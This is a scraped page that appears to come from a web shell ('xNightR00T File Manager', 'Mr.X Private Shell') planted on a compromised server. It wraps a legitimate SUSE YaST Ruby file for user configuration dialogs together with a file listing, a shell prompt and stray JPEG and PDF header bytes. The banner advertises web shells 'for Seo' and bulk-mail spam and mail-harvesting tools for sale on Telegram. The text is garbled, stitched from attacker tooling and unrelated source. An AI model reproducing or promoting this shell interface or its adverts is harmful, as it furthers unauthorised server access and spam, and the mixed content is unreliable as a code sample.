xNightR00T File Manager

Loading...
Current Directory:
Name Size Permission Modified Actions
Loading...
$ Waiting for command...
����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

ftpuser@216.73.216.168: ~ $
# encoding: utf-8

# ------------------------------------------------------------------------------
# Copyright (c) 2006-2012 Novell, Inc. All Rights Reserved.
#
#
# This program is free software; you can redistribute it and/or modify it under
# the terms of version 2 of the GNU General Public License as published by the
# Free Software Foundation.
#
# This program is distributed in the hope that it will be useful, but WITHOUT
# ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
# FOR A PARTICULAR PURPOSE.  See the GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License along with
# this program; if not, contact Novell, Inc.
#
# To contact Novell about this file by physical or electronic mail, you may find
# current contact information at www.novell.com.
# ------------------------------------------------------------------------------

# File:	include/users/complex.ycp
# Package:	Configuration of users and groups
# Summary:	Dialogs definitions
# Authors:	Johannes Buchhold <jbuch@suse.de>,
#		Jiri Suchomel <jsuchome@suse.cz>
#
# $Id$
module Yast
  module UsersComplexInclude
    def initialize_users_complex(include_target)
      Yast.import "UI"

      textdomain "users"

      Yast.import "Autologin"
      Yast.import "Label"
      Yast.import "Ldap"
      Yast.import "Popup"
      Yast.import "Report"
      Yast.import "Security"
      Yast.import "Stage"
      Yast.import "Users"
      Yast.import "UsersCache"
      Yast.import "Wizard"

      Yast.include include_target, "users/helps.rb"
    end

    # Return a modification status
    # @return true if data was modified
    def Modified
      Users.Modified || Autologin.modified
    end


    # Read settings dialog
    # @param [Boolean] useUI boolean use user interface (change progress bar)
    # @return [Symbol] `next if success, else `abort
    def ReadDialog(useUI)
      # Set help text
      Wizard.RestoreHelp(ReadDialogHelp()) if useUI

      # A callback function for abort
      abort = lambda { UI.PollInput == :abort }

      Users.SetGUI(useUI)
      ret = :next
      if Users.Read != ""
        ret = :back
        ret = :nextmodule if Stage.cont
      end
      Users.SetGUI(true)
      ret
    end

    # Write settings dialog
    # @param [Boolean] useUI boolean use user interface (change progress bar)
    # @return [Symbol] `next if success, else `abort
    def WriteDialog(useUI)
      # Set help text
      Wizard.RestoreHelp(WriteDialogHelp()) if useUI

      if Users.LDAPModified && (Ldap.anonymous || Ldap.bind_pass == nil)
        # ask for real LDAP password if reading was anonymous
        Ldap.SetBindPassword(Ldap.LDAPAskAndBind(false))
        if Ldap.bind_pass == nil
          # popup text
          return :back if Popup.YesNo(_("Really abort the writing process?"))
        end
      end

      Users.SetGUI(useUI)
      ret = :next
      ret = :abort if !Stage.cont if Users.Write != ""
      Users.SetGUI(true)
      ret
    end

    # Set the module into installation mode with
    # first dialog for single user addition
    # @return [Symbol] for wizard sequencer
    def usersInstStart
      Users.SetStartDialog("user_add")
      Users.AddUser({})
      :next
    end

    # The dialog that appears when the [Abort] button is pressed.
    # @return `abort if user really wants to abort
    def ReallyAbort
      ret = true

      if !Stage.cont
        ret = Modified() ? Popup.ReallyAbort(true) : true
      else
        ret = Popup.ConfirmAbort(:incomplete)
      end

      if ret
        return :abort
      else
        return :back
      end
    end
  end
end

Filemanager

Name Type Size Permission Actions
cmdline.rb File 22.28 KB 0644
complex.rb File 3.59 KB 0644
dialogs.rb File 87.51 KB 0644
helps.rb File 21.66 KB 0644
ldap_dialogs.rb File 31.3 KB 0644
routines.rb File 4.98 KB 0644
widgets.rb File 74.68 KB 0644
wizards.rb File 9.98 KB 0644
Σ(゚Д゚;≡;゚д゚)duo❤️a@$%^🥰&%PDF-0-1